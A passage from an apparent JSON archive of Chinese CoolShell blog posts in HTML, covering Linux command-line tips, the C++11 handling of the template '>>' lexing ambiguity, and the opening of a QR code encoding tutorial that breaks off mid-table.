class=\"EnlighterJSRAW\">TCPKeepAlive=yes\nServerAliveInterval=15\nServerAliveCountMax=6\nStrictHostKeyChecking=no\nCompression=yes\nForwardAgent=yes</pre>\n</blockquote>\n<ul>\n<li>如果你有输了个命令行，但是你改变注意了，但你又不想删除它，因为你要在历史命令中找到它，但你也不想执行它。那么，你可以按下 Alt-# ，于是这个命令关就被加了一个#字符，于是就被注释掉了。</li>\n</ul>\n<p><b>数据处理 </b></p>\n<ul>\n<li>了解 sort 和 uniq 命令 (包括 uniq 的 -u 和 -d 选项).</li>\n</ul>\n<ul>\n<li>了解用 cut, paste, 和 join 命令来操作文本文件。很多人忘了在cut前使用join。</li>\n</ul>\n<ul>\n<li>如果你知道怎么用sort/uniq来做集合交集、并集、差集能很大地促进你的工作效率。假设有两个文本文件a和b已解被 uniq了，那么，用sort/uniq会是最快的方式，无论这两个文件有多大（sort不会被内存所限，你甚至可以使用-T选项，如果你的/tmp目录很小）</li>\n</ul>\n<blockquote>\n<pre class=\"EnlighterJSRAW\">cat a b | sort | uniq &gt; c   # c is a union b 并集\n\ncat a b | sort | uniq -d &gt; c   # c is a intersect b 交集\n\ncat a b b | sort | uniq -u &gt; c   # c is set difference a - b 差集</pre>\n</blockquote>\n<ul>\n<li>了解和字符集相关的命令行工具，包括排序和性能。很多的Linux安装程序都会设置LANG 或是其它和字符集相关的环境变量。这些东西可能会让一些命令（如：sort）的执行性能慢N多倍（注：就算是你用UTF-8编码文本文件，你也可以很安全地使用ASCII来对其排序）。如果你想Disable那个i18n 并使用传统的基于byte的排序方法，那就设置export LC_ALL=C （实际上，你可以把其放在 .bashrc）。如果这设置这个变量，你的sort命令很有可能会是错的。</li>\n</ul>\n<ul>\n<li>了解 awk 和 sed，并用他们来做一些简单的数据修改操作。例如：求第三列的数字之和： awk ‘{ x += $3 } END { print x }’。这可能会比Python快3倍，并比Python的代码少三倍。</li>\n</ul>\n<ul>\n<li>使用 shuf 来打乱一个文件中的行或是选择文件中一个随机的行。</li>\n</ul>\n<ul>\n<li>了解sort命令的选项。了解key是什么（-t和-k）。具体说来，你可以使用-k1,1来对第一列排序，-k1来对全行排序。</li>\n</ul>\n<ul>\n<li>Stable sort (sort -s) 会很有用。例如：如果你要想对两例排序，先是以第二列，然后再以第一列，那么你可以这样： sort -k1,1 | sort -s -k2,2</li>\n</ul>\n<ul>\n<li>我们知道，在bash命令行下，Tab键是用来做目录文件自动完成的事的。但是如果你想输入一个Tab字符（比如：你想在sort -t选项后输入&lt;tab&gt;字符），你可以先按Ctrl-V，然后再按Tab键，就可以输入&lt;tab&gt;字符了。当然，你也可以使用$’\\t’。</li>\n</ul>\n<ul>\n<li>如果你想查看二进制文件，你可以使用hd命令（在CentOS下是hexdump命令），如果你想编译二进制文件，你可以使用bvi命令（<a href=\"http://bvi.sourceforge.net/\" target=\"_blank\">http://bvi.sourceforge.net/</a> 墙）</li>\n</ul>\n<ul>\n<li>另外，对于二进制文件，你可以使用strings（配合grep等）来查看二进制中的文本。</li>\n</ul>\n<ul>\n<li>对于文本文件转码，你可以试一下 iconv。或是试试更强的 uconv 命令（这个命令支持更高级的Unicode编码）</li>\n</ul>\n<ul>\n<li>如果你要分隔一个大文件，你可以使用split命令（split by size）和csplit命令（split by a pattern）。</li>\n</ul>\n<p><b>系统调试</b></p>\n<ul>\n<li>如果你想知道磁盘、CPU、或网络状态，你可以使用 iostat, netstat, top (或更好的 htop), 还有 dstat 命令。你可以很快地知道你的系统发生了什么事。关于这方面的命令，还有iftop, iotop等（参看《<a href=\"https://coolshell.cn/articles/7829.html\" target=\"_blank\" title=\"28个Unix/Linux的命令行神器\">28个Unix/Linux的命令行神器</a>》）</li>\n</ul>\n<ul>\n<li>要了解内存的状态，你可以使用free和vmstat命令。具体来说，你需要注意 “cached” 的值，这个值是Linux内核占用的内存。还有free的值。</li>\n</ul>\n<ul>\n<li>Java 系统监控有一个小的技巧是，你可以使用kill -3 &lt;pid&gt; 发一个SIGQUIT的信号给JVM，可以把堆栈信息（包括垃圾回收的信息）dump到stderr/logs。</li>\n</ul>\n<ul>\n<li>使用 mtr 会比使用 traceroute 要更容易定位一个网络问题。</li>\n</ul>\n<ul>\n<li>如果你要找到哪个socket或进程在使用网络带宽，你可以使用 iftop 或 nethogs。</li>\n</ul>\n<ul>\n<li>Apache的一个叫 ab 的工具是一个很有用的，用quick-and-dirty的方式来测试网站服务器的性能负载的工作。如果你需要更为复杂的测试，你可以试试 siege。</li>\n</ul>\n<ul>\n<li>如果你要抓网络包的话，试试 wireshark 或 tshark。</li>\n</ul>\n<ul>\n<li>了解 strace 和 ltrace。这两个命令可以让你查看进程的系统调用，这有助于你分析进程的hang在哪了，怎么crash和failed的。你还可以用其来做性能profile，使用 -c 选项，你可以使用-p选项来attach上任意一个进程。</li>\n</ul>\n<ul>\n<li>了解用ldd命令来检查相关的动态链接库。注意：<a href=\"https://coolshell.cn/articles/1626.html\" target=\"_blank\" title=\"ldd 的一个安全问题\">ldd的安全问题</a></li>\n</ul>\n<ul>\n<li>使用gdb来调试一个正在运行的进程或分析core dump文件。参看我写的《<a href=\"https://coolshell.cn/articles/3643.html\" target=\"_blank\" title=\"GDB中应该知道的几个调试方法\">GDB中应该知道的几个调试方法</a>》</li>\n</ul>\n<ul>\n<li>学会到 /proc 目录中查看信息。这是一个Linux内核运行时记录的整个操作系统的运行统计和信息，比如： /proc/cpuinfo, /proc/xxx/cwd, /proc/xxx/exe, /proc/xxx/fd/, /proc/xxx/smaps.</li>\n</ul>\n<ul>\n<li>如果你调试某个东西为什么出错时，sar命令会有用。它可以让你看看 CPU, 内存, 网络, 等的统计信息。</li>\n</ul>\n<ul>\n<li>使用 dmesg 来查看一些硬件或驱动程序的信息或问题。</li>\n</ul>\n<p>作者最后加了一个免责声明：Disclaimer: Just because you <i>can</i> do something in bash, doesn’t necessarily mean you should. ;) （全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8619.html\"><img alt=\"你可能不知道的Shell\" height=\"150\" src=\"../wp-content/uploads/2012/11/shell.01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7829.html\"><img alt=\"28个Unix/Linux的命令行神器\" height=\"150\" src=\"../wp-content/uploads/2012/07/dstat_screenshot-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7829.html\">28个Unix/Linux的命令行神器</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9070.html\"><img alt=\"AWK 简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/02/awk-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19219.html\"><img alt=\"打造高效的工作环境 – Shell 篇\" height=\"150\" src=\"../wp-content/uploads/2019/03/linux.ninja_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19219.html\">打造高效的工作环境 – Shell 篇</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17998.html\"><img alt=\"Linux PID 1 和 Systemd\" height=\"150\" src=\"../wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17998.html\">Linux PID 1 和 Systemd</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8883.html\">应该知道的Linux技巧</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-10-2 C++模板”__”编译问题与词法消歧设计.html",
    "content": "<html><body><p><strong>（感谢 <a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a>（todd） 投递此文）</strong></p>\n<p>在编译理论中，通常将编译过程抽象为5个主要阶段：词法分析(Lexical Analysis)，语法分析(Parsing)，语义分析(Semantic Analysis)，优化(Optimization)，代码生成(Code Generation)。这5个阶段类似Unix管道模型，上一个阶段的输出作为下一个阶段的输入。其中，词法分析是根据输入源代码文本流，分割出词，识别类别，产生词法元素(Token)流，如：</p>\n<pre class=\"EnlighterJSRAW\">\nint a = 10;\n</pre>\n<p>​经过词法分析会得到[(Type, “int”), (Identifier, “a”), (AssignOperator, “=”), (IntLiteral, 10)]，在后续的语法分析阶段，就会根据这些词法元素匹配相应的语法规则。在我学习编译原理时，教科书中对于词法分析的介绍主要是基于正则表达式的，言下之意就是普通语言的词法规则是可以通过正则表达式描述的。比如，C语言的变量名规则是“包含字母、数字或下划线，并且以字母或下划线开头”，这就可以用正则表达式<code>[a-zA-Z_][a-zA-Z0-9_]*</code>表达。但是，在实践中我发现不管是主流语言，还是自己设计的DSL都大量存在不能简单通过正则表达式进行词法分析的例子。来看C++98的模版例子：</p>\n<pre class=\"EnlighterJSRAW\">\nmap&lt;int, vector&lt;int&gt;&gt;\n</pre>\n<p>上面这段代码会被C++98编译器中报语法错误，原因在于它把“&gt;&gt;”识别成了位右移运算符而不是两个模版右括号，在C++98中必须在两个括号中间加空格，写成</p>\n<p><span id=\"more-10449\"></span></p>\n<pre class=\"EnlighterJSRAW\">\nmap&lt;int, vector&lt;int&gt; &gt;\n</pre>\n<p>除此了C++模版，据我所知，经典的FORTRAN语言的语法规则更是大量存在词法歧义。</p>\n<p>我认为从本质上讲，这类问题的根源在于词法分析的依据只是简单的词法规则，并不具备所有的语法信息，而词法歧义必须提升一层在语法规则中消除。所以，在我自己设计一些DSL的时候干脆就把词法分析和语法分析合二为一了，相当于让语法分析在字符层次上去进行，而不是经典的词法元素层次上，这就是所谓的<a href=\"http://en.wikipedia.org/wiki/Scannerless_parsing\" title=\"Scannerless Parsing\">Scannerless Parsing</a>。采用这种方法的例子并不少见，TeX, Wiki, Makefile和Perl 6等语言的语法分析器都属此类。</p>\n<p>Scannerless Parsing方法弥补了词法规则无法消歧的问题，但是同时也破坏了词法和语法分析简单清晰的管道结构，总体上增加了实现和理解的复杂度。另外，像C++这样大型的语言，如果开始是有词法分析的，稍微碰到一个歧义就整个转成Scannerless Parsing未免也显得太夸张了。这个问题困扰了我很久，直到最近才找到了一个满意的解决方案。还是以上面”&gt;&gt;”为例，我们知道现在C++11已经允许不加空格了，那么C++11编译器是如何处理这个词法歧义的呢？答案是：词法分析阶段既然分析不好”&gt;&gt;”，干脆就不分析了，直接把”&gt;” “&gt;”交给语法分析器来分析，其他没有词法歧义的照旧。当我知道这个方案的时候不由得感叹：妙！理论上，词法分析是可以什么也不做的，全部把字符一一交给语法分析器也没有问题，所以，干脆让词法分析只做有把握的部分，解决不了的交给语法分析器，这样就既保留了管道结构，又解决了词法歧义。</p>\n<p>下面我们再来看看C++11规范关于这个问题的定义：</p>\n<blockquote><p>14.2 Names of template specializations [temp.names] ###</p>\n<p>After name lookup (3.4) finds that a name is a template-name or that an operator-function-id or a literal-operator-id refers to a set of overloaded functions any member of which is a function template if this is followed by a &lt;, the &lt; is always taken as the delimiter of a template-argument-list and never as the less-than operator. When parsing a template-argument-list, the first non-nested &gt; is taken as the ending delimiter rather than a greater-than operator. Similarly, the first non-nested &gt;&gt; is treated as two consecutive but distinct &gt; tokens, the first of which is taken as the end of the template-argument-list and completes the template-id. [ Note: The second &gt; token produced by this replacement rule may terminate an enclosing template-id construct or it may be part of a different construct (e.g. a cast).—end note ]</p></blockquote>\n<p>可见，在C++11中，词法分析器是把”&gt;&gt;”直接当成两个”&gt;”传给了语法分析器，然后在语法分析中如果匹配了template-argument-lis语法，第一个”&gt;”符号会被直接认为是模版结束符，而不是大于，也不是位移符号。根据这个定义，我构造了一个例子：</p>\n<pre class=\"EnlighterJSRAW\">\ntemplate&lt;int N&gt;\nclass Foo {\n};\n\nFoo&lt;3&gt;&gt;1&gt; foo;\n</pre>\n<p>这个例子在C++98中是能正确编译的，”&gt;&gt;”被解释成了位移运算，但是它反而不能在C++11中编译了，因为根据规范第一个”&gt;”被解释成了模版参数结束符。如果要在C++11中编译，需要显式地加上括号：</p>\n<pre class=\"EnlighterJSRAW\">\nFoo&lt;(3&gt;&gt;1)&gt; foo;\n</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10449.html\">C++模板”&gt;&gt;”编译问题与词法消歧设计</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-10-29 二维码的生成细节和原理.html",
    "content": "<html><body><p>二维码又称QR Code，QR全称Quick Response，是一个近几年来移动设备上超流行的一种编码方式，它比传统的Bar Code条形码能存更多的信息，也能表示更多的数据类型：比如：字符，数字，日文，中文等等。这两天学习了一下二维码图片生成的相关细节，觉得这个玩意就是一个密码算法，在此写一这篇文章 ，揭露一下。供好学的人一同学习之。</p>\n<p>关于QR Code Specification，可参看这个PDF：<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">http://raidenii.net/files/datasheets/misc/qr_code.pdf </a></p>\n<h4>基础知识</h4>\n<p>首先，我们先说一下二维码一共有40个尺寸。官方叫版本Version。Version 1是21 x 21的矩阵，Version 2是 25 x 25的矩阵，Version 3是29的尺寸，每增加一个version，就会增加4的尺寸，公式是：(V-1)*4 + 21（V是版本号） 最高Version 40，(40-1)*4+21 = 177，所以最高是177 x 177 的正方形。</p>\n<p>下面我们看看一个二维码的样例：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10592\" height=\"370\" src=\"../wp-content/uploads/2013/10/QR-Code-Overview.jpeg\" width=\"616\"/></p>\n<p style=\"text-align: left;\"><span id=\"more-10590\"></span></p>\n<h5 style=\"text-align: left;\">定位图案</h5>\n<ul>\n<li>Position Detection Pattern是定位图案，用于标记二维码的矩形大小。这三个定位图案有白边叫Separators for Postion Detection Patterns。之所以三个而不是四个意思就是三个就可以标识一个矩形了。</li>\n</ul>\n<ul>\n<li>Timing Patterns也是用于定位的。原因是二维码有40种尺寸，尺寸过大了后需要有根标准线，不然扫描的时候可能会扫歪了。</li>\n</ul>\n<ul>\n<li>Alignment Patterns 只有Version 2以上（包括Version2）的二维码需要这个东东，同样是为了定位用的。</li>\n</ul>\n<h5 style=\"text-align: left;\">功能性数据</h5>\n<ul>\n<li>Format Information 存在于所有的尺寸中，用于存放一些格式化数据的。</li>\n</ul>\n<ul>\n<li>Version Information 在 &gt;= Version 7以上，需要预留两块3 x 6的区域存放一些版本信息。</li>\n</ul>\n<h5>数据码和纠错码</h5>\n<ul>\n<li>除了上述的那些地方，剩下的地方存放 Data Code 数据码 和 Error Correction Code 纠错码。</li>\n</ul>\n<h4>数据编码</h4>\n<p>我们先来说说数据编码。QR码支持如下的编码：</p>\n<p><strong>Numeric mode</strong> 数字编码，从0到9。如果需要编码的数字的个数不是3的倍数，那么，最后剩下的1或2位数会被转成4或7bits，则其它的每3位数字会被编成 10，12，14bits，编成多长还要看二维码的尺寸（下面有一个表Table 3说明了这点）</p>\n<p><strong>Alphanumeric mode</strong> 字符编码。包括 0-9，大写的A到Z（没有小写），以及符号$ % * + – . / : 包括空格。这些字符会映射成一个字符索引表。如下所示：（其中的SP是空格，Char是字符，Value是其索引值） 编码的过程是把字符两两分组，然后转成下表的45进制，然后转成11bits的二进制，如果最后有一个落单的，那就转成6bits的二进制。而编码模式和字符的个数需要根据不同的Version尺寸编成9, 11或13个二进制（如下表中Table 3）</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10594\" height=\"121\" src=\"../wp-content/uploads/2013/10/Alphanumeric-mode.png\" width=\"549\"/></p>\n<p><strong>Byte mode</strong>, 字节编码，可以是0-255的ISO-8859-1字符。有些二维码的扫描器可以自动检测是否是UTF-8的编码。</p>\n<p><strong>Kanji mode</strong> 这是日文编码，也是双字节编码。同样，也可以用于中文编码。日文和汉字的编码会减去一个值。如：在0X8140 to 0X9FFC中的字符会减去8140，在0XE040到0XEBBF中的字符要减去0XC140，然后把结果前两个16进制位拿出来乘以0XC0，然后再加上后两个16进制位，最后转成13bit的编码。如下图示例：</p>\n<p style=\"text-align: center;\"><img alt=\"\" class=\"aligncenter wp-image-10595\" height=\"174\" src=\"../wp-content/uploads/2013/10/Kanji-mode.png\" width=\"600\"/></p>\n<p><strong>Extended Channel Interpretation (ECI) mode</strong> 主要用于特殊的字符集。并不是所有的扫描器都支持这种编码。</p>\n<p><strong>Structured Append mode</strong> 用于混合编码，也就是说，这个二维码中包含了多种编码格式。</p>\n<p><strong>FNC1 mode</strong> 这种编码方式主要是给一些特殊的工业或行业用的。比如GS1条形码之类的。</p>\n<p>简单起见，后面三种不会在本文 中讨论。</p>\n<p>下面两张表中，</p>\n<ul>\n<li>Table 2 是各个编码格式的“编号”，这个东西要写在Format Information中。注：中文是1101</li>\n</ul>\n<ul>\n<li>Table 3 表示了，不同版本（尺寸）的二维码，对于，数字，字符，字节和Kanji模式下，对于单个编码的2进制的位数。（在二维码的规格说明书中，有各种各样的编码规范表，后面还会提到）</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10596\" height=\"332\" src=\"../wp-content/uploads/2013/10/Mode-Indicator.png\" width=\"442\"/></p>\n<p>下面我们看几个示例，</p>\n<h5>示例一：数字编码</h5>\n<p style=\"padding-left: 30px;\">在Version 1的尺寸下，纠错级别为H的情况下，编码： 01234567</p>\n<p style=\"padding-left: 30px;\">1. 把上述数字分成三组: 012 345 67</p>\n<p style=\"padding-left: 30px;\">2. 把他们转成二进制:  012 转成 0000001100；  345 转成 0101011001；  67 转成 1000011。</p>\n<p style=\"padding-left: 30px;\">3. 把这三个二进制串起来: 0000001100 0101011001 1000011</p>\n<p style=\"padding-left: 30px;\">4. 把数字的个数转成二进制 (version 1-H是10 bits ): 8个数字的二进制是 0000001000</p>\n<p style=\"padding-left: 30px;\">5. 把数字编码的标志0001和第4步的编码加到前面:  0001 0000001000 0000001100 0101011001 1000011</p>\n<h5>示例二：字符编码</h5>\n<p style=\"padding-left: 30px;\">在Version 1的尺寸下，纠错级别为H的情况下，编码: AC-42</p>\n<p style=\"padding-left: 30px;\">1. 从字符索引表中找到 AC-42 这五个字条的索引 (10,12,41,4,2)</p>\n<p style=\"padding-left: 30px;\">2. 两两分组: (10,12) (41,4) (2)</p>\n<p style=\"padding-left: 30px;\">3.把每一组转成11bits的二进制:</p>\n<p style=\"padding-left: 60px;\">(10,12) 10*45+12 等于 462 转成 00111001110<br/>\n(41,4) 41*45+4 等于 1849 转成 11100111001<br/>\n(2) 等于 2 转成 000010</p>\n<p style=\"padding-left: 30px;\">4. 把这些二进制连接起来：00111001110 11100111001 000010</p>\n<p style=\"padding-left: 30px;\">5. 把字符的个数转成二进制 (Version 1-H为9 bits ): 5个字符，5转成 000000101</p>\n<p style=\"padding-left: 30px;\">6. 在头上加上编码标识 0010 和第5步的个数编码:  0010 000000101 00111001110 11100111001 000010</p>\n<h4>结束符和补齐符</h4>\n<p>假如我们有个HELLO WORLD的字符串要编码，根据上面的示例二，我们可以得到下面的编码，</p>\n<table>\n<tbody>\n<tr>\n<th>编码</th>\n<th>字符数</th>\n<th>HELLO WORLD的编码</th>\n</tr>\n<tr>\n<td>0010</td>\n<td>000001011</td>\n<td>01100001011 01111000110 10001011100 10110111000 10011010100 001101</td>\n</tr>\n</tbody>\n</table>\n<p>我们还要加上结束符：</p>\n<table>\n<tbody>\n<tr>\n<th>编码</th>\n<th>字符数</th>\n<th>HELLO WORLD的编码</th>\n<th>结束</th>\n</tr>\n<tr>\n<td>0010</td>\n<td>000001011</td>\n<td>01100001011 01111000110 10001011100 10110111000 10011010100 001101</td>\n<td>0000</td>\n</tr>\n</tbody>\n</table>\n<h5>按8bits重排</h5>\n<p>如果所有的编码加起来不是8个倍数我们还要在后面加上足够的0，比如上面一共有78个bits，所以，我们还要加上2个0，然后按8个bits分好组：</p>\n<p>00100000   01011011   00001011   01111000   11010001   01110010   11011100   01001101   01000011   010000<span style=\"color: #ff0000;\"><strong>00</strong></span></p>\n<h5>补齐码（Padding Bytes）</h5>\n<p>最后，如果如果还没有达到我们最大的bits数的限制，我们还要加一些补齐码（Padding Bytes），Padding Bytes就是重复下面的两个bytes：11101100 00010001 （这两个二进制转成十进制是236和17，我也不知道为什么，只知道Spec上是这么写的）关于每一个Version的每一种纠错级别的最大Bits限制，可以参看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第28页到32页的Table-7一表。</p>\n<p>假设我们需要编码的是Version 1的Q纠错级，那么，其最大需要104个bits，而我们上面只有80个bits，所以，还需要补24个bits，也就是需要3个Padding Bytes，我们就添加三个，于是得到下面的编码：</p>\n<p>00100000 01011011 00001011 01111000 11010001 01110010 11011100 01001101 01000011 01000000 <span style=\"color: #ff0000;\"><strong>11101100 00010001 11101100</strong></span></p>\n<p>上面的编码就是数据码了，叫Data Codewords，每一个8bits叫一个codeword，我们还要对这些数据码加上纠错信息。</p>\n<h4>纠错码</h4>\n<p>上面我们说到了一些纠错级别，Error Correction Code Level，二维码中有四种级别的纠错，这就是为什么二维码有残缺还能扫出来，也就是为什么有人在二维码的中心位置加入图标。</p>\n<table>\n<tbody>\n<tr>\n<th colspan=\"2\">错误修正容量</th>\n</tr>\n<tr>\n<td>L水平</td>\n<td>7%的字码可被修正</td>\n</tr>\n<tr>\n<td>M水平</td>\n<td>15%的字码可被修正</td>\n</tr>\n<tr>\n<td>Q水平</td>\n<td>25%的字码可被修正</td>\n</tr>\n<tr>\n<td>H水平</td>\n<td>30%的字码可被修正</td>\n</tr>\n</tbody>\n</table>\n<p>那么，QR是怎么对数据码加上纠错码的？首先，我们需要对数据码进行分组，也就是分成不同的Block，然后对各个Block进行纠错编码，对于如何分组，我们可以查看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第33页到44页的Table-13到Table-22的定义表。注意最后两列：</p>\n<ul>\n<li><strong>Number of Error Code Correction Blocks</strong> ：需要分多少个块。</li>\n</ul>\n<ul>\n<li><strong>Error Correction Code Per Blocks</strong>：每一个块中的code个数，所谓的code的个数，也就是有多少个8bits的字节。</li>\n</ul>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10600\" height=\"308\" src=\"../wp-content/uploads/2013/10/Error-Correction-Blocks.png\" width=\"576\"/></p>\n<p>举个例子：上述的Version 5 + Q纠错级：需要4个Blocks（2个Blocks为一组，共两组），头一组的两个Blocks中各15个bits数据 + 各 9个bits的纠错码（注：表中的codewords就是一个8bits的byte）（再注：最后一例中的（c, k, r ）的公式为：c = k + 2 * r，因为后脚注解释了：纠错码的容量小于纠错码的一半）</p>\n<p>下图给一个5-Q的示例（因为二进制写起来会让表格太大，所以，我都用了十进制，我们可以看到每一块的纠错码有18个codewords，也就是18个8bits的二进制数）</p>\n<table>\n<tbody>\n<tr>\n<th>组</th>\n<th>块</th>\n<th>数据</th>\n<th>对每个块的纠错码</th>\n</tr>\n<tr>\n<td rowspan=\"2\" style=\"text-align: center;\">1</td>\n<td style=\"text-align: center;\">1</td>\n<td>67 85 70 134 87 38 85 194 119 50 6 18 6 103 38</td>\n<td>213 199 11 45 115 247 241 223 229 248 154 117 154 111 86 161 111 39</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">2</td>\n<td>246 246 66 7 118 134 242 7 38 86 22 198 199 146 6</td>\n<td>87 204 96 60 202 182 124 157 200 134 27 129 209 17 163 163 120 133</td>\n</tr>\n<tr>\n<td rowspan=\"2\" style=\"text-align: center;\">2</td>\n<td style=\"text-align: center;\">1</td>\n<td>182 230 247 119 50 7 118 134 87 38 82 6 134 151 50 7</td>\n<td>148 116 177 212 76 133 75 242 238 76 195 230 189 10 108 240 192 141</td>\n</tr>\n<tr>\n<td style=\"text-align: center;\">2</td>\n<td>70 247 118 86 194 6 151 50 16 236 17 236 17 236 17 236</td>\n<td>235 159 5 173 24 147 59 33 106 40 255 172 82 2 131 32 178 236</td>\n</tr>\n</tbody>\n</table>\n<p>注：二维码的纠错码主要是通过<a href=\"http://en.wikipedia.org/wiki/Reed%E2%80%93Solomon_error_correction\">Reed-Solomon error correction</a>（里德-所罗门纠错算法）来实现的。对于这个算法，对于我来说是相当的复杂，里面有很多的数学计算，比如：多项式除法，把1-255的数映射成2的n次方（0&lt;=n&lt;=255）的伽罗瓦域Galois Field之类的神一样的东西，以及基于这些基础的纠错数学公式，因为我的数据基础差，对于我来说太过复杂，所以我一时半会儿还有点没搞明白，还在学习中，所以，我在这里就不展开说这些东西了。还请大家见谅了。（当然，如果有朋友很明白，也繁请教教我）</p>\n<h4>最终编码</h4>\n<h5>穿插放置</h5>\n<p>如果你以为我们可以开始画图，你就错了。二维码的混乱技术还没有玩完，它还要把数据码和纠错码的各个codewords交替放在一起。如何交替呢，规则如下：</p>\n<p>对于数据码：把每个块的第一个codewords先拿出来按顺度排列好，然后再取第一块的第二个，如此类推。如：上述示例中的Data Codewords如下：</p>\n<table class=\"coolshell\">\n<tbody>\n<tr>\n<td class=\"head\">块 